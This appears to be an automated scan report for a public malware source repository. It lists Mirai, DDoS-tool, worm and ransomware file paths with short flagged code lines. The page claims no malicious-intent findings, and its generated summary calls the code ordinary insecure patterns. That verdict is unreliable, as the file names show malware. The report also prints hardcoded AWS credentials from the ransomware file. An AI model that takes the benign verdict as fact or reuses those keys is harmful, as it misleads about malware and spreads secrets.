Scan report
vxunderground / MalwareSourceCode
Could an attacker exploit mistakes in this code?
Strong warning signs. Do not run or install this without a careful review.
- High
- 13
- Medium
- 112
- Low
- 40
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
No issues of this kind were found.
- High
- 0
- Medium
- 0
- Low
- 0
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 164
- Uncertain
- 1
- Likely noise
- 0
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
This repository has been flagged as having a critical vulnerability score of 498.0, which means there are serious insecure coding patterns that an attacker could exploit if the code is used. The scan found many issues related to unsafe file handling and buffer overflows caused by functions like sprintf and path traversal vulnerabilities, but these appear to be standard mistakes in how the code was written rather than signs of intentional malicious intent. While some findings involve sensitive AWS credentials or external data that should not be hardcoded, the overall picture suggests the codebase contains significant security gaps that need immediate attention before it can be trusted for production use.
Written by a local language model from the findings below. The risk scores come from the classifier, not from this summary.
Detections by engine
Findings
Highest severity first. Select a finding to see the code and what it means.
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.CHARGEN.c line 139
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
FILE *list_fd = fopen(argv[3], "r"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.DNS.c line 230
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
fd = fopen(argv[3], "a"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 243
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
FILE *pFile = fopen(argv[4], "rb"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.QUAKE3.c line 149
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
FILE *list_fd = fopen(argv[3], "r"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 294
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
FILE *pFile = fopen(argv[4], "rb"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1822
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
unlink(argv[0]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1634
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
unlink(argv[0]); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 341
- Likely real
- Yes, 100% confidence
The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.
FILE *pFile = fopen(argv[4], "rb"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Python/Trojan-Ransom.Python.Redkeeper.a line 20
- Likely real
- Yes, 99% confidence
AWS Secret Access Key detected
aws_secret_access_key = 'P3HfcX7vEp+L5ksdceVsihXE+5x1oYJtW9qXj3Di' -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1785
- Likely real
- Yes, 99% confidence
The `strchr` function returns NULL on error and this line dereferences the return value without checking for NULL.
*((unsigned char *)(strchr(server, ':'))) = 0x0; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1623
- Likely real
- Yes, 99% confidence
The `strchr` function returns NULL on error and this line dereferences the return value without checking for NULL.
*((unsigned char *)(strchr(server, ':'))) = 0x0; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1478
- Likely real
- Yes, 99% confidence
The `strchr` function returns NULL on error and this line dereferences the return value without checking for NULL.
*((unsigned char *)(strchr(server, ':'))) = 0x0; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Python/Trojan-Ransom.Python.Redkeeper.a line 19
- Likely real
- Yes, 72% confidence
AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file.
aws_access_key_id = 'AKIA35OHX2DSKHT73VPQ' -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/InternetWorm/I-Worm.PieceByPiece.c line 504
- Likely real
- Yes, 100% confidence
Externally controlled data is used to index a fixed-size array, `lin`. This could lead to an out-of-bounds read or write, triggering memory corruption.
ch[1]=lin[ik]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/InternetWorm/I-Worm.PieceByPiece.c line 498
- Likely real
- Yes, 100% confidence
Externally controlled data is used to index a fixed-size array, `lin`. This could lead to an out-of-bounds read or write, triggering memory corruption.
ch[1]=lin[ik]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1695
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1687
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1890
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *pch = strtok(message, " "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1899
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = strtok(NULL, " "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1349
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *pch = strtok(flags, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1366
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1455
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1461
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1483
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1489
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1525
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1533
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1699
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *pch = strtok(message, " "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.eragon.c line 1708
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = strtok(NULL, " "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1102
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *pch = strtok(flags, "-"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1112
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1320
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1333
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1362
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1370
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1395
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1401
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1423
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1431
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1602
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *pch = strtok(message, " "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.yakuza.c line 1611
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = strtok(NULL, " "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/InternetWorm/Worm.Win32.Warskype.c line 83
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
strtok(SkypeData->lpData," "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Win32/InternetWorm/Worm.Win32.Warskype.c line 84
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
chat_id = strtok(NULL," "); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1651
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 353
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
char *pch = (char *)strtok(buffer, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 364
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 367
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 369
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 380
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 383
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.ARME.c line 385
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 255
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
char *pch = (char *)strtok(buffer, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 266
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 269
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 271
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 282
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 285
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 306
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
char *pch = (char *)strtok(buffer, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.GHP.c line 287
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1645
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1623
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
hi = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1617
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *hi = strtok(ip, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1528
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = strtok(NULL, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Linux/Mirai-Family/Mirai.Linux.Eragon2.0.c line 1511
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
unsigned char *pch = strtok(flags, ","); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 338
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 336
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 333
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 322
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 320
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 317
- Likely real
- Yes, 100% confidence
Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.
pch = (char *)strtok(NULL, ":"); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 316
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 332
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.QUAKE3.c line 175
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.RUDY.c line 893
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
char *new_buffer = malloc(total+4096); -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.SACK.c line 183
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.SSYN.a.c line 185
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.SSYN.b.c line 170
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.STCP.c line 189
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.SUDP.c line 161
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.SUDP.c line 166
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
struct thread_data td[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.TELNET.c line 139
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
pthread_t thread[num_threads]; -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Libs/DDoS/VirTool.DDoS.VSE.c line 143
- Likely real
- Yes, 100% confidence
Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.
